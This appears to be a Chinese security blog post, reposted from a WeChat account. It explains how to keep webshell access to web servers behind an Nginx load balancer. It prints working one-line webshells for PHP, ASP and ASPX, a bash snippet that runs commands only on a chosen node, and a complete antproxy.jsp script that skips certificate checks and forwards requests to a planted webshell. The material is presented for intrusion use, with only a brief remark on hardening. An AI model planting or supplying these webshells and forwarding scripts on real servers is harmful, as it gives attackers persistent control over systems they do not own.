前置知识:
大小马
大马(Webshell)
Webshell 是一种在 Web 服务器上运行的脚本,允许通过 Web 浏览器进行远程命令行控制。Webshell 通常用作远程管理 Web 服务器,并在某些情况下被黑客用于攻击和入侵。如果服务器存在安全漏洞,黑客可以使用 Webshell 上传、执行和管理恶意代码,从而获得服务器的控制权。
Webshell 通常由多种编程语言编写,其中常见的语言包括:PHP、ASP、JSP、ASPX、Perl。
黑客在入侵了一个网站后,通常会将asp、aspx、php或jsp后门文件与网站web服务器目录下正常的网页文件混在一起,然后就可以使用浏览器来访问该后门文件了,从而得到一个命令执行环境,以达到控制网站服务器的目的。
小马(一句话木马)
因为上面所介绍webshell概念中提到的大马在现阶段的安全领域中已经被盯的非常紧了,而且各种杀毒软件和防火墙软件都对这种“大马”有了甄别能力,所以如果被渗透的web服务器中安装了防御软件的话,留下这种大马作为自己的webshell就非常困难了,于是一种新型的webshell就横空出世了,那就是一句话木马。
简单来说一句话木马就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。对于不同的语言有不同的构造方法,基本构造是首先出现的是脚本开始的标记,后边跟着的 eval 或者是 execute 是核心部分,就是获取并执行后边得到的内容,而后边得到的内容,是 request 或者是 $_POST 获取的值。如果我们通过客户端向服务器发送,那么就会让服务器执行我们发送的脚本,挂马就实现了。
一些不同脚本语言的一句话木马:
PHP:
<?php @eval($_POST["shell"]); ?>
ASP:
<%eval request ("shell")%> 或 <% execute(request("shell")) %>
ASPX:
<%@ Page Language="Jscript" %> <% eval(Request.Item["shell"]) %>
Nginx负载均衡连接webshell
环境:
现在有三台nginx主机,一台为master做负载均衡,matser:192.168.218.137;两台分别为node1:192.168.218.132;node2:192.168.218.137,现在已知node节点的主机可以进行webshell上传。每个主机均开放80端口,现在准备进行webshell连接。
问题所在:
难点1
我们知道,Nginx做反向代理的原理是通过一定的算法(hash情况不考虑),将客户端请求分发给服务端。如果后端存在多台服务器的话。为了保证每次的稳定连接,我们需要去每一台都上传一个webshell。
难点2
尽管我们每台都上传了webshell,在我们执行命令时,无法确定下一次执行的服务器是哪一个。
难点3
如果我们想要上传一些比较大的文件,AntSword会采用分片上传的情况,可能导致一个文件出现在多个服务器上,而且文件均不完整。
难点4
若目标机器无法出外网,如果我们想要进一步深入,只能使用reGeorg/HTTPAbs等HTTP Tunnel,但是这种情况,基本上所有的tunnel都失效。
解决办法:
Plan A:
直接以量打量,然后拿铁饭碗。好处是确实有效,坏处是撑死胆子大的。太暴力了!
Plan B:
在我们执行我们的命令的时候,我们可以通过shell脚本判断一下主机身份,即在执行前判断一下主机的IP地址:
MYIP=`ip addr | grep "inet 198|172|.etc" | awk '{print $2}'`
if [ $MYIP == "192.168.218.137/24" ]; then
echo "Baby! I catch you! n"
ip addr # 此处为你要执行的指令
else
echo "come on ! one more time"
fi
好处是我们能够定点执行我们的命令了,不过我们还未解决上传文件和HTTP隧道的问题。
Plan C:
设想如果我们在上传文件的时候,虽然会被分片上传,但是可否能做到像交换机的功能,拆开包发现不是找自己的,直接转发给目标机器。
具体步骤:
我们可以使用PHP Bypass Disable Function插件,该插件加载完毕后本地会启动一个httpserver,然后我们使用用流量转发脚本(antproxy.jsp)实现HTTP层面的流量转发。
该操作一般有两种情况:
情况一:
我们向目标机器上的antproxy.php发起请求,请求首先会来到nginx进行反向代理,当请求直接到达目标机器,就能直接请求到antproxy.jsp文件,antproxy.jsp会重组我们的请求,请求再传给我们的webshell。
情况二:
当请求访问到了目标主机之外的机器,这台机器上面的antproxy.jsp脚本将请求重组后,会直接传给我们目标主机上的webshell。
具体操作:
-
制作并上传antproxy转发脚本,注意要修改转发地址为目标主机的地址、端口和文件名,对应地点已经打上备注,一定要多次上传,保证每一个node都有antproxy.jsp(脚本内容如下)。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://192.168.218.137:80/ant.jsp";
// 这个地方要配置成我们目标主机的ip和对应服务端口,因为我的node也是nginx且没有配置ssl,所以是80端口,目标文件就是我们上传的一句话木马
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%> -
修改蚁剑中的访问url为ip:port/antproxy.jsp
-
证明主机身份
缺点:
该方法需要node之间能够相互通信,不能相互通信还是直接G,但这恰是我们中间件的加固点之一。
参考链接:
http://cn-sec.com/archives/306344.html
原文始发于微信公众号(鱼板安全):Nginx负载均衡下上连接webshell
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论